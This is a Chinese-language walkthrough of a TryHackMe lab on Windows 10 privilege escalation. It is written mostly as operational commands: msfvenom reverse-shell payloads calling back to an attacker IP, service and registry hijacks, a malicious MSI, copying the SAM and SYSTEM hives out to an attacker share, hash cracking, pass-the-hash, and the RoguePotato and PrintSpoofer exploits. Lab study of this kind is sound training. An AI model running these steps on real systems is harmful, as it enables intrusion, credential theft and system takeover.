本篇文章主要来源于Try Hack Me靶场,里面总结了很多windows提权姿势。下面简单做下记录。
https://tryhackme.com/room/ windows10privesc
另外,github上有个讲Linux/Windows权限提升的,里面有VM、Video和PDF,有空可以学习一下。
https://github.com/sagishahar/lpeworkshop
1、在Kali Linux中连接windows VM目标机。目标机开启了3389,可以远程登录。账户:user,密码:password321。
xfreerdp /u:user /p:password321 /cert:ignore /v:10.10.53.14
2、生成反向shell的可执行文件reverse.exe,LPORT改成Kali Linux的IP。将其拷贝到攻击windows受攻击机。
msfvenom-p windows/x64/shell_reverse_tcp LHOST=10.10.10.10LPORT=4444 -f exe -oreverse.exe
在kali Linux本机上开启一个httpserver。
注意:python3已经改名为http.server
python3 -m http.server 80
python -m SimpleHTTPServer 80 //旧有写法
nc -nvlp 4444
windows上执行C:\PrivEsc\reverse.exe,发现已连接
3、服务利用:不安全的服务权限
用 accesschk.exe 检查user帐户对daclsvc服务的权限,发现user帐户有权更改服务配置(SERVICE_CHANGE_CONFIG)。
C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc
查询该服务并注意它以 SYSTEM 权限运行(SERVICE_START_NAME)
sc qc daclsvc
修改服务配置并将 BINARY_PATH_NAME (binpath) 设置为reverse.exe
sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
在 Kali 上启动监听器,然后启动该服务以生成一个以 SYSTEM 权限运行的反向shell
net start daclsvc
4、服务利用:不带引号的服务路径
该漏洞利用了windows文件路径解析的特性。
查询unquotedsvc 服务,注意它以 SYSTEM 权限(SERVICE_START_NAME) 运行,BINARY_PATH_NAME 路径包含空格并且没有用引号引起来。
sc qc unquotedsvc
运行accesschk.exe,注意允许BUILTIN\Users组写入C:\Program Files\Unquoted Path Service\目录
C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
将reverse.exe复制到此目录并将其重命名为Common.exe
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
问题:不清楚为什么,拷贝完文件启动服务就能让reverse.exe执行,unquotedsvc服务指向的exe并没有改?
解答:
https://blog.csdn.net/weixin_44032232/article/details/109073666
假设有个服务的可执行路径为
c:\program files (x86)\grasssoft\macro expert\MacroService.exe,且不带引号
服务会按照以下顺序依次执行。如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
c:\program.exe
c:\programfiles.exe
c:\programfiles (x86)\grasssoft\macro.exe
c:\program files (x86)\grasssoft\macro expert\MacroService.exe
因此,在这个例子中,
C:\Program Files\Unquoted Path Service\Common.exe要先于C:\Program
Files\Unquoted Path Service\Common Files\unquotedpathservice.exe。
在 Kali 上启动一个监听器,然后启动该服务以生成一个以 SYSTEM 权限运行的反向shell
net start unquotedsvc
5、服务利用:弱注册表权限
查询regsvc服务,注意它以系统权限(SERVICE_START_NAME) 运行
sc qc regsvc
运行accesschk.exe,regsvc 服务的注册表项可由“NT AUTHORITY\INTERACTIVE”组(基本上是所有登录用户)写入
C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
覆盖 ImagePath 注册表项以指向reverse.exe
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
在 Kali 上启动一个监听器,然后启动该服务以生成一个以 SYSTEM 权限运行的反向shell
net start regsvc
6、服务利用:不安全的服务执行程序
查询filepermsvc服务,注意它以SYSTEM权限(SERVICE_START_NAME) 运行
sc qc filepermsvc
使用 accesschk.exe,服务的二进制文件(BINARY_PATH_NAME) 文件对每个人都是可写的
C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions
Service\filepermservice.exe"
复制reverse.exe并用它替换filepermservice.exe
copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
在 Kali 上启动一个监听器,然后启动该服务以生成一个以 SYSTEM 权限运行的反向shell
net start filepermsvc
7、注册表:autorun
查询 AutoRun 可执行文件的注册表
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
运行accesschk.exe,其中一个 AutoRun 可执行文件对每个人都是可写的
C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
复制reverse.exe,用它覆盖 AutoRun 可执行文件
copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y
在 Kali 上启动一个侦听器,
nc -nvlp 4444
重新启动 Windows VM,然后在kali里运行
rdesktop MACHINE_IP
注:重新连接时,依赖于是谁登录的。如果是admin登录,则显示的反向shell为admin;如果是user登录,则显示反向shell为user。
8、注册表:弱AlwaysInstallElevated权限
AlwaysInstallElevated是一个Windows策略允许普通用户在使用MSI包安装软件时获得系统权限去操作。同时它在注册表里面也会有一个值,如果为1的话普通用户拥有和system一样的权限去安装.msi文件。
在注册表中查询 AlwaysInstallElevated 键,注意,这两个键都设置为1。
reg queryHKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
在 Kali 上,使用 msfvenom 生成反向 shell Windows Installer (reverse.msi)。 相应地更新 LHOST IP 地址
msfvenom-p windows/x64/shell_reverse_tcp LHOST=10.10.10.10LPORT=3333 -f msi -o reverse.msi
将 reverse.msi 文件传输到 Windows 上的 C:\PrivEsc 目录。
在 Kali 上启动一个侦听器
nc -nvlp 3333
windowsVM运行安装程序以触发以 SYSTEM 权限运行的反向shell
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
9、注册表:密码
出于某种原因,有时密码不会存储在注册表中。注:我的情况就是如此
可以在注册表中搜索包含单词password的键和值(耗时长,找到258个项目)
reg query HKLM /f password /t REG_SZ /s
想节省一些时间,请查询管理员自动登录凭据
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
注:运行这两条命令根本找不到管理员的密码
可以试试winPEASany.exe,可从github下载。
c:\PrivEsc>.\winPEASany.exe quiet filesinfo userinfo
此时,从上述结果可以看到admin的密码为password123
在 Kali 上,用winexe 命令生成以管理员权限运行的命令提示符(用admin账户及其密码)。运行whoami,发现用户为admin。
winexe -U 'admin%password123' //10.10.216.32 cmd.exe
10、密码:保存的凭据
列出所有已保存的凭据,注意,已保存admin用户的凭据。
cmdkey /list
在 Kali 上启动一个侦听器,并使用 runas 和管理员用户保存的凭据运行reverse.exe
runas /savecred /user:admin C:\PrivEsc\reverse.exe
11、密码:SAM
SAM 和 SYSTEM 文件可用于提取用户密码哈希值。此VM已将SAM 和 SYSTEM 文件的备份存储在C:\Windows\Repair\目录中
将 SAM 和 SYSTEM 文件传输到Kali VM(开启smbserver),将IP换成Kali VM的。
copy C:\Windows\Repair\SAM \\10.10.10.10\kali\
copy C:\Windows\Repair\SYSTEM \\10.10.10.10\kali\
注:一般SAM和SYSTEM文件存储在C:\Windows\System32\config
在 Kali 上,克隆 creddump7(Kali 上的存储库已过时,不会为 Windows 10 正确转储哈希!)并使用它从 SAM 和 SYSTEM 文件中转储哈希
git clonehttps://github.com/Tib3rius/creddump7
pip3install pycrypto
python3 creddump7/pwdump.py SYSTEM SAM
首先将admin的NTLM哈希值拷贝到文件中,譬如名为hash。
echo "a9fdfa038c4b75ebc76dc855dd74f0da" > hash
使用 hashcat 破解管理员 NTLM 哈希。得到admin的密码为password123
hashcat -m 1000 hash /usr/share/wordlists/rockyou.txt
12、密码:传递哈希
既然可以使用哈希进行身份验证,为什么还要破解密码哈希?
将完整的管理员哈希与pth-winexe 一起使用,以生成一个以管理员身份运行的 shell,而无需破解其密码。注:完整哈希包括 LM 和 NTLM 哈希,以冒号分隔。
pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //10.10.44.238 cmd.exe
13、计划任务
查看C:\DevTools\CleanUp.ps1脚本内容,发现脚本似乎每分钟都以 SYSTEM 身份运行
type C:\DevTools\CleanUp.ps1
用 accesschk.exe去检查user对CleanUp.ps1的权限可以看到有个FILE_WRITE_DATA可写入模式
C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1
在 Kali 上启动一个侦听器,然后将一行附加到C:\DevTools\CleanUp.ps1
echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
等待计划任务运行,可以得到以 SYSTEM 身份触发反向 shell。
14、不安全的GUI程序
查看AdminPaint快捷方式的内容为
C:\Windows\System32\runas.exe /user:admin /savecred %windir%\system32\mspaint.exe
双击桌面上的“AdminPaint”快捷方式。运行后,打开命令提示符并注意 Paint 正在以管理员权限运行
tasklist /V | findstr mspaint.exe
在“画图”中,单击“文件”,然后单击“打开”。在打开的文件对话框中,点击导航输入并粘贴:file://c:/windows/system32/cmd.exe,按Enter
生成以admin权限运行的命令提示符
15、StartUp
用accesschk.exe检查权限,发现BUILTIN\Users 组可以将文件写入 StartUp 目录
C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start
Menu\Programs\StartUp"
查看C:\PrivEsc\CreateShortcut.vbs脚本,该脚本在 StartUp 目录中为reverse.exe创建一个新的快捷方式
使用cscript运行CreateShortcut.vbs脚本
cscript C:\PrivEsc\CreateShortcut.vbs
在 Kali 上启动一个监听器,然后使用RDP模拟admin登录
xfreerdp /u:admin /p:password123 /cert:ignore /v:10.10.44.238
问题:为什么远程登录模拟admin登录,这时启动文件会变成以system权限运行反弹shell而不是以admin运行的反弹shell?
16、令牌窃取
目标如果开启SeImpersonatePrivilege模拟客户端验证,即可使用土豆系列工具直接从user权限跨越到system权限。
在 Kali 上设置一个 socat 重定向器,将 Kali 135 端口转发到 Windows 上的 9999 端口
sudo socat tcp-listen:135,reuseaddr,fork tcp:10.10.44.238:9999
在kali监听端口4444。
nc -nvlp 4444
通过以admin身份登录 RDP 模拟获取服务帐户shell ,以管理员身份运行命令提示符,并使用 PSExec64.exe 触发“本地服务”帐户
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
在反弹shell中可以看到运行账户为local service
在反弹shell中执行whoami /priv,显示如下权限。其中SeImpersonatePrivilege为Enabled。
为了清晰起见,重新生成一个连接至3333端口的反弹shell:reverse3333.exe,并上传到windows VM中。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=3333 -f exe -o
reverse3333.exe
此时在kali中监听端口3333。
nc -nvlp 3333
在触发local service的反向 shell 中,运行 RoguePotato 漏洞以触发第二个以SYSTEM 权限运行的反向shell
C:\PrivEsc\RoguePotato.exe -r 10.10.10.10 -e "C:\PrivEsc\reverse3333.exe" -l 9999
可以从第二个反弹shell中看到权限已变成SYSTEM
且此时的权限中SeAssignPrimaryTokenPrivilege已经改成Enabled。
whoami /priv
17、令牌窃取:PrintSpoofer
此提权只需要PrintSpoofer,可用于提升 Windows Server 2016、Server 2019 和 Windows 10 上的服务用户权限的 PrintSpoofer 漏洞。
可以到github上下载
https://github.com/dievus/printspoofer
要提升权限,服务帐户必须具有 SeImpersonate 权限
在 Kali 上启动一个端口4444的监听。
nc -nvlp 4444
以admin身份登录 RDP,以管理员身份运行命令提示符,使用 PSExec64.exe 触发“本地服务”帐户
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
在 Kali 上启动另一个端口3333的监听
nc -nvlp 3333
在触发的“本地服务”反向 shell 中,运行 PrintSpoofer 漏洞以触发第二个以 SYSTEM 权限运行的反向shell
C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse3333.exe" -i
18、提权脚本
Windows VM中的 C:\PrivEsc 目录中包含了四个工具:
winPEASany.exe
Seatbelt.exe
PowerUp.ps1
SharpUp.exe
可以分别试用上述四种工具,使用不同的选项运行
Seatbelt是一个C#项目,可以用来对主机进行安全检查。
Seatbelt.exe all
或者,指定检查项目,例如
Seatbelt.exe RegistryAutoRuns
Seatbelt.exe patches
powerUp 是 Privesc 模块下的脚本,拥有众多用来寻找目标主机 Windows 服务漏洞进行提权的实用脚本。先执行powershell,然后Import-Module .\PowerUp.ps1就能使用了。运行Invoke-AllChecks函数开始检查
SharpUp 是 PowerUp 利用 C# 实现权限提升检查的开始。 目前,只进行了最常见的检查,尚未实施武器化功能。
SharpUp.exe audit